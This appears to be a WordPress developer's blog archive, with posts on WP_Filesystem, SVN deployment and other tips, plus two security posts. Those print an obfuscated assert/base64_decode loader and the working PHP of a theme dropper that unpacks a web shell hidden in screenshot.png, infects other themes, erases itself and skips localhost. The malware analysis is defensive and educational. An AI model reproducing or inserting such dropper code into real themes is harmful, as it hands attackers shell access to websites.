Archive for the ‘WordPress’ Category.

Note: An actual working implementation of the WP_Filesystem can be found in my Pluginception plugin.

Lot of talk amongst theme authors recently about writing local files. Writing files from code, whether it be from a theme or from a plugin, is generally bad mojo. However understanding why you shouldn’t is confusing to many, and then understanding why you shouldn’t do-it-yourself and should use the WP_Filesystem is even more confusing. To further muddy up the waters, many theme authors have expressed confusion at how to use WP_Filesystem in the first place.

So, let’s run the gamut in this tutorial. Note that I wrote it quickly, so it may be uneven in parts. ;)

Why Not To Do It

The most common reasons I see theme authors wanting to write local files falls into three categories:

  1. Dynamic CSS
  2. Configuration Saving
  3. Export/Import

Take the Dynamic CSS case to start with, since it’s the most common one by far. Some theme authors say “I’m making a framework/system/construction-kit where the user can define their own theme/layout/color-schemes and thus produce a bunch of CSS. I want to save this CSS in the theme/uploads directory, and then put a link to it from their page, so that the browser downloads it from there.

Why they shouldn’t do that: There’s half a dozen reasons here, but the big two are a) put just the dynamic parts of CSS inline into the page instead, because it’s faster, simpler, and avoids an extra HTTP roundtrip for the user’s browser to get this CSS file and b) writing a CSS file locally is insecure as hell if you do it in the “natural” way.

Security is going to be a big issue for the next two items, so I’ll cover it right now.

Modern UNIX-like systems have the concept of “users”. When I SSH or FTP into my hosting account, then I’m logged in as me and my user account. However, my webserver doesn’t run as my user account. It runs under some different user account, usually “nobody” or “apache” or “web” or something similar to that.

So when I create files, they’re owned by me. When my webserver creates files, then they’re owned by the webserver’s user, whatever it is. Normally, this isn’t a big deal. The webserver can read and serve files either way, so who cares, right? Well, when you’re creating files that are owned by the webserver, then the webserver has permission to write to those files. It’s the owner of them, after all. What’s important here is that I’m not the only person on this webserver.

Shared hosting systems have many users files all served by the same webserver. So if I allow that “nobody” user to own files that are part of my webpage, then anybody else can use their account on the same webserver to modify those files, and thus modify my webpage. For the case of CSS files, this poses a cross-site-scripting risk. Somebody else on my shared webserver could insert code into my CSS files and change them so as to steal my account information. Bad mojo.

The other two, where theme authors are saving configuration or exporting and importing things have the same basic problems, although the risks might be even higher. In one case, I found a theme saving its configuration settings by creating a PHP file in the uploads directory and then using var_export to export the configuration variable to it. Then it proceeded to include this file when the theme loaded, to load its configuration back in. Talk about insecure, anybody running this theme is basically handing over the entire control of their website to anybody on the same web server.

How To Do It Anyway

“But Otto”, I hear you shouting from halfway around the world, “WordPress itself writes files all the time! It can even upgrade itself. How is this safe?” Well, Mr. Incredbly Loud Person, WordPress uses a system called WP_Filesystem to make this safe.

The WP_Filesystem basically support five different ways of writing files to the system and they all ensure that ownership of those files remains firmly in the hands of the same person that owns the WordPress files. In other words, it writes files using your user account and not as the webserver user.

I’m sure many people have seen this before:

This is the basic connection information screen that appears when you try to upgrade a plugin or themes or even the core code, on certain hosts. Some people may be running on hosts that don’t pop up this screen, but the basic process behind it still exists.

Essentially, what is going on here is that WordPress does some tests to detect how it can write files to the server and keep the same owner for those files. If it can’t do it directly, then it does it indirectly via FTP. It needs your login credentials at this point in order to log in as you and thus write files as you instead of as the webserver user that it’s running under.

How to Implement the WP_Filesystem code

Implementing the WP_Filesystem is easy, really. But to do it from a form or options type of system, then you need to have a form or options type of system already. So let’s start out with an extremely basic form, such as one a theme might implement.

// add the admin options page
add_action('admin_menu', 'otto_admin_add_page');

function otto_admin_add_page() {
	add_theme_page('Otto Test Page', 'Otto Test Options', 'edit_theme_options', 'otto', 'otto_options_page');
}

Okay, now we have a new options menu. Let’s make a form to put on that menu:

function otto_options_page() {
	if ( otto_check_buttons() ) return;
?>
<div>
<h2>My custom options page</h2>
<form action="" method="post">
<?php wp_nonce_field('otto-theme-options'); ?>
<input name="save" type="submit" value="Save a file" />
</form></div>
<?php
}

Simple, no-nonsense form. It calls a function to check the incoming button press first (see more below), then it displays a form. It outputs a nonce, makes a button called “Save a file” since that’s what we’re going to do, then stops. Easy.

Note that the otto_check_buttons() function returns true or false, and this then returns when it is true, thus not displaying the form. This is simply to allow us to display the normal form or not, depending on what we need to do later.

So, when you submit the form, then that otto_check_buttons() function is going to come into effect. Let’s look at the beginning of that function:

function otto_check_buttons() {
	if (empty($_POST)) return false;

	check_admin_referer('otto-theme-options');

The beginning of it is simple. If the user hasn’t submitted the form yet, then it just returns false to make the previous function display the form. Next it checks the referer nonce, to make sure the nonce is correct for the page we’re on. Let’s continue:

$form_fields = array ('save'); // this is a list of the form field contents I want passed along between page views
$method = 'ftp'; // Normally you leave this an empty string and it figures it out by itself, but you can override the filesystem method here

// check to see if we are trying to save a file
if (isset($_POST['save'])) {

Here, I’m defining two variables that I’m going to use later. The form_fields is an array of the names of the fields in the form that I want to pass along through that connection information screen. In this case, I defined my “save” input field before, and it’s something I’ll be checking later, so it has to pass through that form. What happens is that the connection information form generates an extra hidden input with the contents from my first form.

The method variable is not strictly necessary. I’m forcing it to use the “ftp” method for this demonstration code. Normally, you leave this blank and the system figures it out for itself. Changing ‘ftp’ to just ” here works fine.

Finally, you can see where I’m checking to make sure the save button was clicked. Moving on:

// okay, let's see about getting credentials
$url = wp_nonce_url('themes.php?page=otto','otto-theme-options');
if (false === ($creds = request_filesystem_credentials($url, $method, false, false, $form_fields) ) ) {
	// if we get here, then we don't have credentials yet,
	// but have just produced a form for the user to fill in,
	// so stop processing for now
	return true; // stop the normal page form from displaying
}

Now is the part where I get the credentials from the user. The request_filesystem_credentials() does several things.

  • It checks to see what kind of credentials it needs (we’re forcing it to FTP in this case)
  • It checks to see if they’re pre-DEFINEd in the wp-config file
  • It checks the POST input to see if it has just received them and returns them if it has
  • It checks the database to see if it remembers the hostname/username from before
  • It produces the necessary form to display if it doesn’t have them

The bottom line being that if it has the necessary credentials, it will return them. Else, it will output the form to be displayed to get the credentials, and then return false. So when it returns false, we know the form has been displayed, so we just exit and wait for the user to give us the necessary credentials.

When we get those credentials, we have to check to make sure they work. Here’s how we do that:

// now we have some credentials, try to get the wp_filesystem running
if ( ! WP_Filesystem($creds) ) {
	// our credentials were no good, ask the user for them again
	request_filesystem_credentials($url, $method, true, false, $form_fields);
	return true;
}

Simple, really. We call the WP_Filesystem and see if the credentials work. If not, we call request_filesystem_credentials a second time, but this time with the $error flag set. This produces the error message and form to the user so he can correct the information.

Finally, we should have working credentials from the user and all the information we need, so we use the $wp_filesystem global to write out a file.

// get the upload directory and make a test.txt file
$upload_dir = wp_upload_dir();
$filename = trailingslashit($upload_dir['path']).'test.txt';

// by this point, the $wp_filesystem global should be working, so let's use it to create a file
global $wp_filesystem;
if ( ! $wp_filesystem->put_contents( $filename, 'Test file contents', FS_CHMOD_FILE) ) {
	echo 'error saving file!';
}

That’s really all there is to it. I made a file in the upload directory called “test.txt” and wrote “Test file contents” to it. The global $wp_filesystem variable is what our call to WP_Filesystem($creds) created. This $wp_filesystem supports various different file functions, but the put_contents() function is the easiest one to understand. I gave it the filename, some contents, and the correct permissions for a file on the system. Simple and easy.

Reasons to use WP_Filesystem

Two big ones:

  • Compatibility
  • Security

Because of the various permissions systems in use, the WP_Filesystem supports many different ways of writing files to the system, but all abstracted out into simpler functions like put_contents() and get_contents() and such.

The only downside to it is that sometimes you need to ask the user for their account information in order to be able to get the access you need. But this is necessary in order to be secure, since you don’t want everybody else on the same server to be able to write to your files. And while you may have a server all to yourself, most of your users won’t. The most common setup for WP is on shared hosting, and if you’re creating a theme or a plugin, you should design for those users as well.

A copy of all the code above made into a demo plugin can be found here: wpfilesystem-demo.phps.

Shortlink:

In the WordPress world, security is always a prime concern, and for obvious reasons. It’s a major target for spammers, what with 30 million sites and what have you. So there’s a lot of security plugins to do scanning on your files, there’s file monitor plugins which work by simply noticing changes to the files of any sort, we do scans in the theme check process, etc.

I’ve gotten a few responses back to some of my malware related posts asking why WordPress doesn’t check for this sort of thing in the core code. Why can’t WordPress check for the existence of “eval” and such in a plugin before it runs it? Well, I’ll show you.

Securi covered the “Pharma” attack several months ago, but nobody seemed to notice the important bit of code that shows why WordPress can’t do scanning in core. Fact of the matter is that the hacks have already gone well beyond scanning for strings and such.

Take this code for example:

<?php $XZKsyG='as';$RqoaUO='e';$ygDOEJ=$XZKsyG.'s'.$RqoaUO.'r'.'t';$joEDdb='b'.$XZKsyG.$RqoaUO.(64).'_'.'d'.$RqoaUO.'c'.'o'.'d'.$RqoaUO;@$ygDOEJ(@$joEDdb(long long string here)..

What does that do? Well, in short, that’s an eval(base64_decode()); Here it is again, broken down with newlines and such:

$XZKsyG='as';
$RqoaUO='e';
$ygDOEJ=$XZKsyG.'s'.$RqoaUO.'r'.'t';
$joEDdb='b'.$XZKsyG.$RqoaUO.(64).'_'.'d'.$RqoaUO.'c'.'o'.'d'.$RqoaUO;
@$ygDOEJ(@$joEDdb(long long string here)..

Those third and fourth lines are important, so lets fill in the two variables there with the ‘as’ and ‘e’ from above it:

$ygDOEJ='as'.'s'.'e'.'r'.'t';
$joEDdb='b'.'as'.'e'.(64).'_'.'d'.'e'.'c'.'o'.'d'.'e';

And we have “assert” and “base64_decode” once again. The assert function will also evaluate strings as PHP code, BTW. It’s really just an eval in another form.

The final line uses something about PHP that some people may not know. If I have a variable with a string in it, then I can call a function with that strings name by using the variable instead of the function name. In other words, this works:

function do_something() { }
$var = 'do_something';
$var();

Now tell me, how you gonna scan for something like that?

Determining whether a piece of code is malicious or not is basically equivalent to the halting problem. You can’t do it programmatically. Not really. If WP added code to the core to try to detect and stop this sort of thing, the spammers would simply modify their code so that the core couldn’t detect it anymore.

Why get into an arms race? It’s better to concentrate on making WordPress itself secure and to try to educate both users and hosts about good security practices. Most hacked sites get hacked via insecure server configurations, not through WordPress itself.

So scanning is pointless. So why do we still do it for theme check and such? Because not all malicious code is as cleverly written, and so some basic scanning is indeed somewhat effective. And the goal there is simply to weed out the problems. All of the WordPress.org theme checking is done by human eyeballs, the scanning tools just ensure a minimal level of theme capabilities and make pruning that much quicker.

Shortlink:

A surprising number of people don’t know about or have never used this feature, so it’s something I thought I should point out.

You know all those boxes on the Edit Post page? Did you know you could turn them off? Did you know that WP 3.1 turns many of them off by default?

See? Just click the Screen Options dropdown to show or hide anything you want or don’t want to see. These settings are saved so that you can customize how your own editing screen looks, for you only, every time you go to add or edit a post. Plugins that make meta boxes get their meta box added to this list too, so if you don’t use the manual Publisher boxes from my own Facebook or Twitter plugins, for example, you can just disable them.

People often ask me why there’s a Publish box when they are using Auto-Publish in the SFC or STC plugins, and why I didn’t make that optional. So I just thought it might be worth pointing out publicly that there is already an option for it, built right in. :)

Shortlink:

While the WordPress upgrade system is great, sometimes people prefer to use command line tools or similar to manage their sites.

I hadn’t done this much until recently, but when I was at #wptybee, Matt asked me to set up a site using SVN externals. This turned out to be easier than expected, and a great way to keep a site up-to-date and easy to manage. So I thought I’d document the process a little bit here.

This is actually not an uncommon way of creating sites and maintaining them. I’d just never seen it documented anywhere before. If you know SVN, you probably already know how to do this.

Prerequisites

First, you’ll need to have a website on a host. Obviously.

You’ll also need shell access on that host. SSH will do fine.

Next, you’ll need that host to have SVN. Easy way to check: just run “svn –version” at the command line.

Finally, you’ll need an SVN server. A central place to store your files. Some hosts let you set these up easily. Sometimes you’ll have to set one up yourself. How to do this is slightly outside the scope of this article.

Create the SVN environment

The first thing you’ll want to do is to check out your SVN area into a directory on the machine. You can do this part on either your local machine, or on the server. I did it on my Windows 7 laptop, using TortoiseSVN.

The basic idea here is that this site will become your new public_html directory. Alternatively, you can make it a subdirectory under that and use .htaccess rules or any form of rewriting to change where the root of your website is. Regardless, the directory as a whole will be your main website directory.

SVN Externals

Now, we’re going to get WordPress installed into your SVN. To do that, we setup the WordPress SVN to be an external of the SVN root.

If you use TortoiseSVN, then you’re going to right click inside the root of your checkout, then select TortoiseSVN->Properties. In the dialog that follows, you’ll create a new property named “svn:externals” and give it a value of “wp http://core.svn.wordpress.org/trunk/“. Hit OK to make it stick (note, do not select the recursive option).

Note, if you’re using the command line, a guide on svn externals is here: http://beerpla.net/2009/06/20/how-to-properly-set-svn-svnexternals-property-in-svn-command-line/.

What this does is simple, really. It tells the SVN that the contents in the “wp” directory will come from http://core.svn.wordpress.org/trunk , which is the main trunk version of WordPress.

Alternatively, if you’re not brave enough to run trunk all the time, you could use http://core.svn.wordpress.org/branches/3.0, which would make it get the latest 3.0 version at all times (which is 3.0.4 right now). And if you wanted to use a directory name other than “wp”, you could change that as well.

The point being that instead of having to manually update WordPress, you’re telling your SVN server that the contents there actually come from another SVN server. So when you do an “update”, it will go and grab the latest version of WordPress directly, without having to updated by hand.

After you’ve modified the externals setting for that root directory, you have to do a commit, to send the new property to the SVN server. Then you can do an update and watch it go and grab a copy of WordPress and put it into your directory directly.

Custom Content

So now we have a WordPress setup, but it’s not installed. No worries, but we’re going to make a custom installation here, so we’ll hand edit the wp-config file eventually.

Why are we doing this? Well, we want our wp-content folder to live outside of the WordPress directory. It’s going to contain our custom plugins and themes and so forth. That way, no changes to WordPress’s files in their SVN can ever touch our own files.

So we need to make a folder in the root called “custom-content”. Or whatever you want to call it. Since this name will be visible in your HTML, you might want to choose a good one.

Now inside that folder, make a plugins and a themes directory. For the themes, you’re probably using a custom theme for your site, and you can just put it in there directly.

Plugins are a different matter.

Plugins as Externals

I assume that whatever plugins you are using are coming from the plugin repository. Or at least, some of them are. For your custom ones, you can do pretty much the same as the themes and just drop the plugins into your plugins directory. But for plugins from the repo, there’s a better way.

In much the same way as we made the wp directory an external pointer to the core WordPress SVN, we’re now going to do the same for our plugins.

So step one, choose a plugin you want. Let’s choose Akismet for a demo.

Step two, in your plugins directory, do the SVN Properties thing again, and this time, add this as an svn:externals of
akismet http://plugins.svn.wordpress.org/akismet/trunk/” to get the akismet trunk.

Step three, commit and update again, and voila, now you have Akismet.

But wait, we might want more than one plugin. Well, we can do that too. Let’s add the stats plugin.

Step one, go back to the SVN->Properties of the plugins directory.

Step two, edit the existing svn:externals setting. This time, we’re going to add “stats http://plugins.svn.wordpress.org/stats/branches/1.8/” on a new line. Basically, you can have as many externals you want, just be sure to put each one on a new line.

Step three, commit and update and it’ll download the stats plugin.

Repeat for all the plugins you want to keep up-to-date.

You’ll note that I used a branch of the stats plugin instead of the trunk. That’s because the trunk isn’t the latest version in the case of the stats plugin. Not every plugin author treats the trunk/tag/branch system the same, so you should investigate each plugin and see how they keep things up-to-date with their setup.

Theme note

Note that I am using a wholly custom theme, but you might not be. Maybe you’re using a child theme of twentyten. Themes exist inside an SVN too, and you can create externals to them in the same way.

For example, in the themes directory, you could set svn:externals to  ”twentyten http://themes.svn.wordpress.org/twentyten/1.1/” and get the twentyten theme for use. Any theme in the Themes directory should be available in this way.

Custom wp-config.php

Now we need to create our wp-config.php file. Grab a copy of the sample wp-config file and put it in the root. Yes, not in the wp directory. WordPress looks in both its own directory and in one directory above it, so having it in the root will still allow it to work and will keep the wp directory untouched.

Edit the file, and go ahead and add all the database details. Then add these lines:

define( 'WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/custom-content' );
define( 'WP_CONTENT_URL', 'http://example.com/custom-content');

You’ll need to use your own directory names and URL, of course. The purpose here is to tell WordPress that the wp-content directory isn’t the one to use anymore, but to use your custom content directory instead.

Special .htaccess

Because we’ve installed wp in a subdirectory off of what will be the root of the site, it would normally be referenced as http://example.com/wp/ which is undesirable. So I crafted some simple .htaccess rules to move the “root” of the site into the /wp directory, and still have everything work.

Options -Indexes
RewriteEngine on
RewriteCond %{HTTP_HOST} ^(www.)?example.com$
RewriteCond %{REQUEST_URI} !^/wp/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /wp/$1
RewriteCond %{HTTP_HOST} ^(www.)?example.com$
RewriteRule ^(/)?$ wp/index.php [L]

The Options -Indexes just turns off the normal Apache directory indexing. I don’t like it when people try to look through my files. :)

The rest basically rewrites any URLs for directories or files that don’t exist into calls to the /wp directory, without actually modifying the URL. The rewrite is internal, so the URL remains the same. This has the effect of moving the root to the /wp directory, but still allowing calls to the custom content directory to serve the right files.

After you’re done, save the file, and commit everything you’ve done so far.

Running it on the site

At this point, you should be capable of going to the site and loading up all that you’ve done onto it. So SSH in (or whatever) and do a checkout of your new SVN setup into the proper location for it. You may need to rename your existing public_html directory and/or set proper permissions on it and such.

If you’re setting up a new site, you’ll be able to go to it and have it create the database tables and such as well.

What’s the point?

Okay, so you may have read through all this and wondered what the point was. Well, it’s simple, really.

Go to your server, and do “svn up public_html”… and then watch as it proceeds to update the entire site. WordPress, plugins, themes, your custom files, everything on the site. The externals makes WordPress and the plugins and such all update directly from the WordPress SVN systems, allowing you to do one command to update them all.

If you didn’t use trunk, then updating is only slightly harder. Basically, you just change the externals to point to the new version, then commit and do an svn up.

In fact, if you want to live dangerously, you can hook everything to trunk and then have it automatically do an svn up every night. Not many people recommend running production sites on trunk, but for your own personal site, why not? You’ll always get access to the latest features. :)

An additional thing to keep in mind is that with a system like this, the files on the site are always backed up on the SVN server. For things like inline file uploads, you’ll need to log in every once in a while and do “svn add” and “svn commit” to send the new files to the SVN server, but for the most part, everything on the site will be in your SVN and you can work with it locally before sending it to the site proper.

And it’s expandable too. You can get your sites files from any host that has svn on it. You could run more than one webserver, and have them on a rotation or something. There’s a lot of possible configuration methods here.

It sure is a nice way to update though. :D

Shortlink:

Saw this post about Chrome voice searching in HTML forms on Google’s blog today. Very cool, so I had to give it a try. If you check the “Search” box in the upper right corner of the page, you’ll see a little icon (if you’re using a dev version of Chrome). Click it to do a search-by-voice.

What I didn’t expect was how totally easy it is to implement. Seriously, it’s less than a line of code.

Example. Say your search box (possibly in your theme’s searchform.php file) looks like this:

<form id="searchform" action="<?php bloginfo('home'); ?>/" method="get">
<input id="s" name="s" size="20" type="text" value="<?php _e('Search') ?>..." />
</form>

All you have to do is to add some bits to the input element box. Specifically, you add x-webkit-speech speech onwebkitspeechchange=”this.form.submit();”. That’s it. Seriously:

<form id="searchform" action="<?php bloginfo('home'); ?>/" method="get">
<input id="s" name="s" size="20" type="text" value="<?php _e('Search') ?>..." x-webkit-speech speech onwebkitspeechchange="this.form.submit();" />
</form>

Note that this won’t validate, if you care about that sort of thing. Works fine though.

You can do a whole lot more with Javascript and events and translations and multiple choices and such, if you’re thinking of developing something cool with it. I’m just shocked and amazed that this is already in my browser and I had no idea it was there. Very cool.

Shortlink:


Every time I look through the beta of WordPress 3.1, I find something new. Today I found the WP_HTTP_IXR_Client. The IXR_Client was there in previous versions, but it didn’t use the WordPress HTTP API, and so it rarely worked for me. This wrapper/rework of it works like a charm. Some quick examples:

Testing the client to see if it can talk to another blog:

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('demo.sayHello');
echo $client->getResponse();

That will print “Hello!” if it succeeded.

Testing something with parameters, like adding two numbers:

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('demo.addTwoNumbers', 4, 5);
echo $client->getResponse();

That will produce an output of 9… Okay, let’s do something meaningful.

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('wp.getOptions', 0, 'username', 'password', 'software_version');
$response = $client->getResponse();
echo $response['software_version']['value'];

It returns what version of WordPress I’m running on that test site. In this case, that would be 3.1-beta2-17056.

Take a look through the class-wp-xmlrpc-server.php file for the various things you can do. Maybe you can think of some handy ways to make your blogs talk to each other. :)

Shortlink:

As I’ve gotten involved with helping the WordPress.org theme review team, I’ve seen some strange things. One of the stranger ones was a theme virus that actually propagated from one theme to all others in a WordPress installation. That one was awfully clever, but it ultimately didn’t really do anything but propagate and generally be a pain in the ass.

However, today, @chip_bennett discovered that one of his themes had been copied and was being redistributed by a site called top-themes.com.

It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.

So today, I’m going to dissect it and serve it up on a platter for everybody to see.

Infection Point

We’ll start with the most obvious starting point, and that is in the functions.php file. At the very end of the functions.php file, we find a call to “get_custom_headers();”. An innocuous enough sounding name, so we go find that function. Here’s the first part of the function:

function get_custom_headers() {
    $_SESSION['authenticated'] = false;
    $filename = dirname(__FILE__).DS."screenshot.png";

Right away, something is wrong. It’s getting the location of the screenshot file (DS is defined elsewhere as the Directory Separator, which makes it work on both Linux and Windows boxes). That doesn’t make a whole lot of sense, the screenshot is supposed to be displayed by the admin interface only. Let’s read on.

    $fileContents = explode(pack("c*", 0xAE,0x42,0x60,0x82), file_get_contents($filename));
    $screenshot = array_shift($fileContents);

The “pack” function is one that isn’t used much. It’s a means of manipulating binary files. The “explode” function is a way of splitting a string by some characters. So what this code really is doing is to find a particular string of hex digits in the screenshot file, split it across that boundary, and then get only the first part of that (the actual screenshot file), thanks to the array shift. This gets used later.

In other words, he’s appended something onto the end of the screenshot file, and this code reads it in, finds it, then gets a copy of it. What could this be? Turns out to be a ZIP file.

    $unzipped = false;
    $path = check_istalled_path($_SERVER['DOCUMENT_ROOT']);

The check_istalled_path function looks for a wp-additional directory and returns a path to it.

    if($path === false && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	if(function_exists("zip_read")) {
	    $path = array_pop(array_shuffle(find_writeble_path($_SERVER['DOCUMENT_ROOT'])));
	    @mkdir($path = $path.DS."wp-additional");

	    file_put_contents($path.DS."archive.zip", implode(pack("c*", 0xAE,0x42,0x60,0x82), $fileContents));
	    $zip = new ZipArchive;
	    if ($zip->open($path.DS."archive.zip")===true) {

		$zip->extractTo($path.DS);
		$zip->close();
		unlink($path.DS."archive.zip");
		$unzipped = true;
	    }
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php  if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));
	}

If the zip_read function is available, he makes a wp-additional directory and puts the ZIP file there. Then he simply unzips the malware file into the target theme. This requires a bit of explanation.

Elsewhere there is a function called “find_writeble_path”. This function doesn’t limit itself to the current theme’s directory. Instead, it looks through all installed themes on the system and tries to find all themes that has permissions set to allow it to be written to. So in all of the above, he’s really looking for any theme that he can infect with the malware contained in this archive. The “array_shuffle” line is his way of picking a random theme.

So he unzips the malware to that theme then adds code to himself to that makes it try to read and execute this wshell.php file.

But if the wp-additional directory full of malware has already been created somewhere on the system, then the above code doesn’t run. If it finds the malware directory, then it skips that and just does the following:

    } else {
	if($_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	    $path = $_SERVER['DOCUMENT_ROOT'].DS.$path;
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));
	}
    }

It found the malware, so it simply rewrites itself to make sure it includes it.

The overall affect of the above code is to make the them unzip the malware into any theme directory it can find, then rewrite itself to attempt to include it.

Next we have self-eliminating code:

    @file_put_contents(__FILE__, array_shift(explode("function get_custom_headers", file_get_contents(__FILE__))));
    @file_put_contents(dirname(__FILE__).DS."screenshot.png", $screenshot);

What does this code do? Well, it erases itself from the file!

This code reads the file that the malware code is in right now (with file_get_contents(__FILE__) ). Then it explodes it along the get_custom_headers function. Finally, it writes it back out to the file itself.

Basically, using the explode and array_shift method, it finds the get_custom_headers function code, then writes the functions.php back out without that code or anything after it. Now that the malware has done its job, this code basically self deletes, to make it not traceable. All that’s left is the wp-additional directory that contains the malware, and the include it wrote to the beginning of the file to load that malware.

Here’s where it also erases itself from the screenshot, using the $screenshot variable it saved earlier.

    if(function_exists("zip_read") && $unzipped == true && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	@require_once($path.DS."wshell.php");
    }
}

This just makes it load the now-decompressed wshell.php malware immediately, instead of waiting for the next page load.

Also note how the code doesn’t run on localhost installs? If you look closely, the self-removing code does run on those installs. Meaning that if you run this theme in a test bed, then it removes itself without infection. This is to make it harder for people to analyse the code, since it disappears the first time you run it on a local test system.

The Malware

So what is this malware? Well, there’s two parts to it.

The first part is a standard PHP Shell install, essentially giving a shell backdoor to anybody who knows the location of the malware and the username and password. This is a massive security hole, obviously.

The second part is somewhat custom. It’s in the wshell.php file that the above malware tries so hard to get you to include. Essentially, this installs a spamming system of fairly wide ranging scope.

The first thing it does is to notify its master that it exists. It does this by making a connection to 188.165.212.17 and sending what looks sorta like SMTP commands, but which are probably customized in some way. But basically it tells this server where it’s installed and how it can be accessed. After it gets confirmation, it sets a parameter to make it not send this again.

The spamming system itself contains a number of commands. The way it gets commands from the attacker is by looking for them in cookies with a name of “wsh-cmd”. So in this sense, it’s kind of like a server. The attacker has some kind of a client that talks to your server via the normal HTTP, but sends it hidden commands via this cookie.

The commands allow the attacker to view a list of writable files in your themes directory, and to view any specified readable file on the system. It avoids triggering mod_security systems by base64 encoding files that it sends around. But the main thrust of the system is to allow the attacker to insert links into, and remove links from, any writable theme file.

Essentially, it’s a remote-controlled automated link spamming tool.

The attacker can send URLs to your system and it will insert them into theme files. He can later remove those links. There’s a lot of code to allow it to generate proper links, to insert them into specific lines, things of that nature.

Summary

In short, don’t trust dodgy theme sites. Get your free themes from WordPress.org Extend-Themes instead.

Also, this sort of thing should tell you why we ban certain types of things from the WordPress.org theme repository. We can’t scan for specific malware, as it’s too easy to get around that sort of scanning. Scanning for functions that most of these malwares use is simpler and more effective. And all of our themes go through human-eye review as well, with anything even slightly dodgy getting brought up before a mailing list of experts who can take a look and determine what is what.

Shortlink: